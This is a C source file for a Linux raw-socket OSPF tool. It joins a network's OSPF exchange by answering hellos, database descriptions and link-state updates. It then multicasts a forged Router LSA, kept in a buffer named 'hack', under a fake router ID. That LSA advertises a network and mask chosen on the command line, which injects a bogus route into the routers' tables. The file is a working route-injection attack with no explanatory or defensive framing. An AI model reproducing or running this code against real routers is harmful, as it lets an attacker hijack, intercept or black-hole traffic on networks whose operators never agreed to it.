#include"ospfpack.c"
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>
#include<pthread.h>
#include<semaphore.h>
#include<sys/time.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>
#include<netinet/ether.h>
#include<netinet/in.h>
#include<netpacket/packet.h>
#include<net/if.h>
#include<unistd.h>

#define MODX 5307 
#define MIN(a,b) a>b?b:a

//global attr
struct ifreq ifr; //interface struct
unsigned int ipaddr; //lcoal ip
char macaddr[6]; //local mac
unsigned int rid,aid,netmask,dr,bdr,ded_int,drid,bdrid;
unsigned int neilist[10],neinum=0;
unsigned int drseq,bdrseq;
unsigned short hel_int;
unsigned char mtu,flags;//ospf attr
void *hello,*firstdd,*normoldd,*lastdd,*lsr,*lsu,*hack; //thread packet
sem_t s1,s2,s3,s4,s5,s_lsu;//hang up thread
pthread_t p1,p2,p3,p4,p5,p6;
struct sockaddr_ll sll;
ls lsdb[100];
unsigned int lsdblen=0,hacklen=0;
//utils fun
void printp(void *p);
int getintattr(char *int_name);
void printip(void *t);
void printmac(void *t);
void hackinit();
void mkhack();
void *searchnei();
void mketh(void *packet);
void mkohea(void *packet);
void mkohel(void *packet);
void ipcksum(void *p);
void mkdd(void *packet);
void ospfcksum(void *p);
int getsocket();
void *firstsdd();
void *lastsdd();
void *dlsn();
void *ssend();
void *lsus();
void mkip(void *packet);
int fletcher_checksum(u_char * buffer, const size_t len, const uint16_t offset);
void addlsa(ls *l,unsigned char type,unsigned int network,unsigned int netmask,unsigned short mertic);

//main
int main(int argc,char **argv){
        //hint using 
        if(argc < 1){
                printf("error using attr\n");
                exit(1);
        }
        //get int name
        char *int_name = argv[1];
        //set if attr  ospf attrinit hackinit
        if(getintattr(int_name)==-1){
                exit(2);
        }
        pthread_create(&p5,NULL,dlsn,NULL);
        pthread_create(&p1,NULL,searchnei,NULL);
        pthread_create(&p2,NULL,ssend,NULL);
        pthread_create(&p3,NULL,firstsdd,NULL);
        pthread_create(&p4,NULL,lastsdd,NULL);
        pthread_create(&p6,NULL,lsus,NULL);
	printf("wait\n");
	char *net=argv[2];
	char *mask=argv[3];
	printf("ready?\n");
	int k=0;
	scanf("%d",&k);
	unsigned hip = inet_addr(net);
	unsigned hmask = inet_addr(mask);
	addlsa((ls*)(hack+sizeof(eth)+sizeof(ip)+sizeof(ospfhea)+4),0x02,dr,ipaddr,1);
	printip(&dr);
        mkhack();
        addlsa((ls*)(hack+sizeof(eth)+sizeof(ip)+sizeof(ospfhea)+4),0x03,hip,hmask,1);
        mkhack();
        int fd = getsocket();
        sendto(fd,hack,hacklen,0,(struct sockaddr*)&sll,sizeof(sll));
	printf("send\n");
	void *ret;
	pthread_join(p5,&ret);
	close(fd);
        exit(0);
}





int fletcher_checksum(u_char * buffer, const size_t len, const uint16_t offset)
{
        u_int8_t *p;
        int x, y, c0, c1;
        u_int16_t checksum;
        u_int16_t *csum;
        size_t partial_len, i, left = len;

        checksum = 0;

        assert (offset < len);

        /*
         * Zero the csum in the packet.
         */
        csum = (u_int16_t *) (buffer + offset);
        *(csum) = 0;

        p = buffer;
        c0 = 0;
        c1 = 0;

        while (left != 0)
        {
                partial_len = MIN(left, MODX);

                for (i = 0; i < partial_len; i++)
                {
                        c0 = c0 + *(p++);
                        c1 += c0;
                }

                c0 = c0 % 255;
                c1 = c1 % 255;

                left -= partial_len;
        }

        /* The cast is important, to ensure the mod is taken as a signed value. */
        x = (int)((len - offset - 1) * c0 - c1) % 255;

        if (x <= 0)
                x += 255;
        y = 510 - c0 - x;
        if (y > 255)
                y -= 255;

        /*
         * Now we write this to the packet.
         * We could skip this step too, since the checksum returned would
         * be stored into the checksum field by the caller.
         */
        buffer[offset] = x;
        buffer[offset + 1] = y;

        /* Take care of the endian issue */
        checksum = htons((x << 8) | (y & 0xFF));

        return checksum;
}


void printp(void *p){
        unsigned char *t = (unsigned char *)p;
        for(int i=0;i<100;i++){
                printf("%02x ",t[i]);
        }
        printf("\n");
}

int getintattr(char *int_name){
	//get int attr
        int attrfd;
        if((attrfd = socket(PF_PACKET,SOCK_RAW,htons(0x0800)))<1){
                perror("socket error get attr for \n");
                return -1;
        }
        strncpy(ifr.ifr_name,int_name,(strlen(int_name)+1));
        //if index
        if(ioctl(attrfd,SIOCGIFINDEX,&ifr)==-1){
                perror("ioctl:");
                close(attrfd);
                return -1;
        }
	sll.sll_ifindex = ifr.ifr_ifindex;
        //ip addr
        if (ioctl(attrfd, SIOCGIFADDR, &ifr) < 0){
                printf("get ip error");
                close(attrfd);
                return -1;
        }
	struct sockaddr_in sin;
	memcpy(&sin, &ifr.ifr_addr, sizeof(sin));
	memcpy(&ipaddr,&(sin.sin_addr),sizeof(ipaddr));
        //mac addr
        if(ioctl(attrfd, SIOCGIFHWADDR, &ifr) < 0){
                printf("get mac error");
                close(attrfd);
                return -1;
        }
	memcpy(macaddr,ifr.ifr_hwaddr.sa_data,6);
	rid=inet_addr("10.10.10.10");
        aid=0;
        netmask=inet_addr("255.255.255.0");
        dr=0;
        bdr=0;
        hel_int=htons(10);
        ded_int=htonl(40);
        drseq=100;
        bdrseq=100;
        mtu=0;
        flags=0x02;
	hackinit();
	return 1;
}

void printip(void *t){
	struct sockaddr_in sin;
	memcpy(&(sin.sin_addr),t,sizeof(sin.sin_addr));
	printf("%s\n",inet_ntoa(sin.sin_addr));
}

void printmac(void *t){
	unsigned char *m = (unsigned char *)t;
	printf("%02x:%02x:%02x:%02x:%02x:%02x\n",
			m[0],m[1],m[2],m[3],m[4],m[5]);
}


void addlsa(ls *l,unsigned char type,unsigned int network,unsigned int netmask,unsigned short mertic){
        int len = ntohs(l->len);
        void *add  = ((void *)l)+len;
        memcpy(add,&network,4);
        memcpy(add+4,&netmask,4);
        memcpy(add+8,&type,1);
        unsigned char f = 0;
        memcpy(add+9,&f,1);
        mertic = htons(mertic);
        memcpy(add+10,&mertic,2);
        len = len+12;
        hacklen = hacklen+12;
        void *t = (void *)l->lsa;
        unsigned short *s = (unsigned short *)(t+2);
        *s = htons(ntohs(*s)+1);
        l->len = htons(len);
	l->checksum=0;
	void *ss = (void *)l;
	fletcher_checksum((u_char *)(ss+2),ntohs(l->len)-2,14);
}

void hackinit(){
        hack = malloc(1024);
        mketh(hack);
        setattr(hack,ETH_SMAC,macaddr);
        unsigned char dmac[6]={0x01,0x00,0x5e,0x00,0x00,0x06};
        setattr(hack,ETH_DMAC,dmac);
        mkip(hack+14);
        setattr(hack,IP_SIP,&ipaddr);
        unsigned int dip = inet_addr("224.0.0.6");
        setattr(hack,IP_DIP,&dip);
        ipcksum(hack+14);
        mkohea(hack+34);
        unsigned char ty=0x04;
        setattr(hack,OHEA_TYPE,&ty);
        setattr(hack,OHEA_RID,&rid);
        setattr(hack,OHEA_AID,&aid);
        unsigned int num=1;
        num = htonl(num);
        void *lsu = hack+sizeof(eth)+sizeof(ip)+sizeof(ospfhea);
        memcpy(lsu,&num,4);
        ls *l = (ls *)(lsu+4);
        l->lsage = htons(1);
        l->flags = 0x02;
        l->lstype = 0x01;
        l->lsid = rid;
        l->adv = rid;
        l->seq = inet_addr("128.0.0.7");
        l->checksum = 0;
        l->len = htons(24);
        void *add = (void *)l->lsa;
        unsigned int n = htonl(0);
        memcpy(add,&n,4);
        hacklen = sizeof(eth)+sizeof(ip)+sizeof(ospfhea)+4+24;
}

void mkhack(){
        ip *p = (ip* )(hack+sizeof(eth));
        ospfhea *ohea = (ospfhea*)(hack+sizeof(eth)+sizeof(ip));
        p->len = htons(hacklen-14);
        ipcksum(p);
        ohea->length = htons(hacklen-14-20);
        ospfcksum(ohea);
}



void *searchnei(){
	printf("start search neighbor\n");
	while(1){
		usleep(1);
		sem_wait(&s1);
		void *p=malloc(300);
		memcpy(p,hello,300);
		getattr(p,OHEA_AID,&aid);
		getattr(p,OHEL_MASK,&netmask);
                getattr(p,OHEL_DR,&dr);
                getattr(p,OHEL_BDR,&bdr);
                getattr(p,OHEL_HEL_INT,&hel_int);
                getattr(p,OHEL_DED_INT,&ded_int);
		unsigned int ip;
		getattr(p,IP_SIP,&ip);
		if(ip==dr){
			unsigned int t;
	                getattr(p,OHEA_RID,&t);
			drid=t;
		}
		if(ip==bdr){
                        unsigned int t;
                        getattr(p,OHEA_RID,&t);
                        bdrid=t;
                }
		unsigned int neid;
		getattr(p,OHEA_RID,&neid);
		if(neinum<10){
			int flag=0;
			for(int i=0;i<10;i++){
				if(neilist[i]==neid){
					flag=1;
					break;
				}
			}
			if(flag==0){
				printf("add ");
				printip(&neid);
				neilist[neinum++]=neid;
			}else{
				continue;
			}
		}
		free(p);
	}
	
}


void mketh(void *packet){
	memcpy(packet+6,macaddr,6);
	unsigned char type[2]={0x08,0};
	memcpy(packet+12,type,2);
}

void mkip(void *packet){
	ip *p = (ip*)packet;
        p->ver = 0x45;
        p->tos = 0xc0;
        p->len = 0;
        p->id = htons(4096);
        p->flags = 0x00;
        p->offest = 0;
        p->ttl = 0x01;
        p->proto = 0x59;
        p->sip = ipaddr;
        p->dip = 0;
}

void mkohea(void *packet){
        ospfhea *ohea = (ospfhea*)packet;
        ohea->version = 0x02;
        ohea->type = 0x01;
        ohea->length = 0;
        ohea->routerid = rid;
        ohea->areaid = aid;
        ohea->checksum = 0;
        ohea->authtype = 0;
}

void mkohel(void *packet){
	ospfhel *ohel = (ospfhel*)packet;
        ohel->mask = netmask;
        ohel->hello_int = hel_int;
        ohel->flags = 0x02;
        ohel->pri = 0x01;
        ohel->dead_int = ded_int;
        ohel->dr = dr;
        ohel->bdr = bdr;
        if(neinum!=0){
                for(int i=0;i<neinum;i++){
                        (ohel->nei)[i] = neilist[i];
                }
        }
}

void mkdd(void *packet){
	dbd* d = (dbd* )packet;
	d->mtu=0;
	d->flags=0x02;
	d->dbdflags=0x07;
	d->seq=htons(100);
}

void ipcksum(void *p){
	ip *t = (ip *)p;
	t->checksum=0;
	t->checksum = ip_cksum(p,sizeof(ip));
}

void ospfcksum(void *p){
	ospfhea *ohea = (ospfhea *)p;
	ohea->checksum=0;
	ohea->checksum = ip_cksum(ohea,ntohs(ohea->length));
}

int getsocket(){
        int fds;
        if((fds = socket(PF_PACKET,SOCK_RAW,htons(0x0800)))<1){
                perror("socket error fds");
                exit(1);
        }
        if(ioctl(fds,SIOCGIFINDEX,&ifr)==-1){
                perror("ioctl:");
                exit(6);
        }
        int on=1;
        setsockopt(fds,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
        sll.sll_ifindex = ifr.ifr_ifindex;
        setsockopt(fds,SOL_SOCKET,SO_BINDTODEVICE,(char*)&ifr,sizeof(struct ifreq));
        return fds;
}



void *firstsdd(){
	while(1){
		sem_wait(&s2);
		void *p = malloc(300);
		memcpy(p,firstdd,300);
		memcpy(p,p+6,6);
		memcpy(p+6,macaddr,6);
		ip *t = (ip *)(p+14);
		t->dip=t->sip;
		t->sip=ipaddr;
		unsigned int r=0;
		getattr(p,OHEA_RID,&r);
		setattr(p,OHEA_RID,&rid);
		dbd *d = (dbd *)(p+sizeof(eth)+sizeof(ip)+sizeof(ospfhea));
		int oseq=d->seq;
		if(r==drid){
			d->seq = htonl(drseq);
			if(r>rid){
				drseq = ntohl(oseq);
			}
		}else{
			d->seq = htonl(bdrseq);
			if(r>rid){
				bdrseq=ntohl(oseq);
			}	
		}
		ospfcksum(p+sizeof(eth)+sizeof(ip));
		ipcksum(p+sizeof(eth));
		int fd = getsocket();
		unsigned short len;
		getattr(p,IP_LEN,&len);
		sendto(fd,p,ntohs(len)+14,0,(struct sockaddr*)&sll,sizeof(sll));
		if(r>rid){
			d->dbdflags=0x00;
			if(r==drid){
				d->seq=drseq;
			}else{
				d->seq=bdrseq;
			}
			ospfcksum(p+sizeof(eth)+sizeof(ip));
			ipcksum(p+sizeof(eth));
			sendto(fd,p,ntohs(len)+14,0,(struct sockaddr*)&sll,sizeof(sll));
		}
		close(fd);
		free(p);
	}
}

void *lastsdd(){
	while(1){
		usleep(1);
		sem_wait(&s3);
		void *p = malloc(300);
                memcpy(p,lastdd,300);
                memcpy(p,p+6,6);
                memcpy(p+6,macaddr,6);
                ip *t = (ip *)(p+14);
                t->dip=t->sip;
                t->sip=ipaddr;
		setattr(p,OHEA_RID,&rid);
		t->len = htons(sizeof(eth)+sizeof(ip)+sizeof(ospfhea)+sizeof(dbd));
		ospfhea *ohea=(ospfhea *)(p+14+sizeof(ip));
		ohea->length = (htons(sizeof(ospfhea)+sizeof(dbd)));
		dbd *d =(dbd *)(p+14+sizeof(ip)+sizeof(ospfhea));
		d->dbdflags=0x01;
		d->seq = htonl(ntohl(d->seq)+1);
		ospfcksum(p+sizeof(eth)+sizeof(ip));
                ipcksum(p+sizeof(eth));
		int fd = getsocket();
                unsigned short len;
                getattr(p,IP_LEN,&len);
                sendto(fd,p,ntohs(len)+14,0,(struct sockaddr*)&sll,sizeof(sll));
	}
		
}


void *dlsn(){
	int fd=getsocket();
	lsu = malloc(300);
	unsigned char buf[2049];
	while(1){
                usleep(1);
                recvfrom(fd,buf,1024,0,NULL,NULL);
                ip *p = (ip*)(buf+14);
                ospfhea *ohea = (ospfhea*)(buf+34);
                if(p->proto!=89){
			continue;
                }
		if(p->sip==ipaddr){
			continue;
		}
		if(p->dip!=inet_addr("224.0.0.5")&&(p->dip!=ipaddr)){
			continue;	
		}
                switch(ohea->type){
                        case 0x01:{
				       hello=buf;
				       sem_post(&s1);
                                       break;
                               }
                        case 0x02:{
                                       dbd* b = (dbd*)(((void*)ohea)+sizeof(ospfhea));
                                       if((b->dbdflags)>>2&1){
                                               firstdd = buf;
					       sem_post(&s2);
                                       }else if(b->dbdflags==0&&ohea->length!=htons(32)){
					       lastdd = buf;
					       sem_post(&s3);
				       }
                                       break;
                               }
                        case 0x03:{

                                       
				       break;
				       //lsr
                               }
                        case 0x04:{
				      
				       memcpy(lsu,buf,300);
				       sem_post(&s_lsu);
				       break;
				
                                        //lsu
                               }
			case 0x05:{
			       	
					break;
			       }
                        default:{
					printf("loss\n");
                                        break;
                                }
                }
	}
}

void *ssend(){
	int fd = getsocket();
	void *p;
	p = malloc(300);
	struct timeval start,finish;
        gettimeofday(&start,NULL);
        long duration;
        while(1){
                usleep(1);
                gettimeofday(&finish,NULL);
                duration = finish.tv_sec-start.tv_sec;
//		printf("%f\n",duration);
                if(duration >= 10){
			mketh(p);
			unsigned int dip = inet_addr("224.0.0.5");
			unsigned char dmac[6]={0x01,0x00,0x5e,0x00,0x00,0x05};
			memcpy(p,dmac,6);
			mkip(p+14);
			setattr(p,IP_DIP,&dip);
			mkohea(p+14+sizeof(ip));
			mkohel(p+14+sizeof(ip)+sizeof(ospfhea));
			int iplen = htons(sizeof(ip)+sizeof(ospfhea)+sizeof(ospfhel));
			int ohealen = htons(sizeof(ospfhea)+sizeof(ospfhel));
			for(int i=0;i<neinum;i++){
				memcpy(p+14+ntohs(iplen),&neilist[i],4);
				iplen = htons(ntohs(iplen)+4);
				ohealen = htons(ntohs(ohealen)+4);
			}
			setattr(p,IP_LEN,&iplen);
			setattr(p,OHEA_LEN,&ohealen);
                        ospfcksum(p+14+sizeof(ip));
                        ipcksum(p+14);
			int len =0;
			getattr(p,IP_LEN,&len);
			sendto(fd,p,ntohs(len)+14,0,(struct sockaddr*)&sll,sizeof(sll));	
                        start = finish;
                }
        }
}

void *lsus(){
	while(1){
		usleep(1);
		sem_wait(&s_lsu);
		void *p = lsu;
		memcpy(p,lsu,300);
		void *lsack = malloc(300);
		void *lsackf = lsack;
		mketh(lsack);
		mkip(lsack+sizeof(eth));
		mkohea(lsack+sizeof(eth)+sizeof(ip));
		memcpy(lsack+6,macaddr,6);
		eth *e = (eth *)p;
		ip *ips=(ip*)(p+14);
		//ospfhea *ohea=(ospfhea *)(p+sizeof(eth)+sizeof(ip));
		setattr(lsack,IP_SIP,&ipaddr);
		if(ips->dip!=inet_addr("224.0.0.5")){
			memcpy(lsack,e->smac,6);
			setattr(lsack,IP_DIP,&(ips->sip));
		}else{
			memcpy(lsack,e->dmac,6);
			unsigned int mucast = inet_addr("224.0.0.5");
			setattr(lsack,IP_DIP,&mucast);
		}
		unsigned short type = 5;
		setattr(lsack,OHEA_TYPE,&type);
		void *lsu1 = p+sizeof(eth)+sizeof(ip)+sizeof(ospfhea);
		unsigned int *tmp=(unsigned int *)lsu1;
		unsigned int num=*tmp;
		//unsigned char *u = (unsigned char*)&num;
		num = ntohl(num);
		int offest=4;
		int ackost=sizeof(eth)+sizeof(ip)+sizeof(ospfhea);
		for(int i=0;i<num;i++){
			ls *t = (ls* )(lsu1+offest);
			offest=offest+ntohs(t->len);
			int flag=0;
			for(int i=0;i<lsdblen;i++){
				if((lsdb[i].lstype==t->lstype)
				 &&(lsdb[i].lsid==t->lsid)
				 &&(lsdb[i].adv==t->adv)){
					flag=1;
					break;
				}
			}
			if(flag==0){
				memcpy(&lsdb[lsdblen++],t,sizeof(ls));
			}
			memcpy(lsack+ackost,t,sizeof(ls));
			ackost=ackost+sizeof(ls);
		}
		setattr(lsack,OHEA_RID,&rid);
		unsigned int ohealen=htons(sizeof(ospfhea)+num*sizeof(ls));
		setattr(lsack,OHEA_LEN,&ohealen);
		unsigned int iplen=htons(ntohs(ohealen)+sizeof(ip));
		setattr(lsack,IP_LEN,&iplen);
		ospfcksum(lsack+sizeof(eth)+sizeof(ip));
		ipcksum(lsack+sizeof(eth));
		int fd = getsocket();
                sendto(fd,lsack,ntohs(iplen)+14,0,(struct sockaddr*)&sll,sizeof(sll));
		free(lsackf);
		close(fd);
	}

}

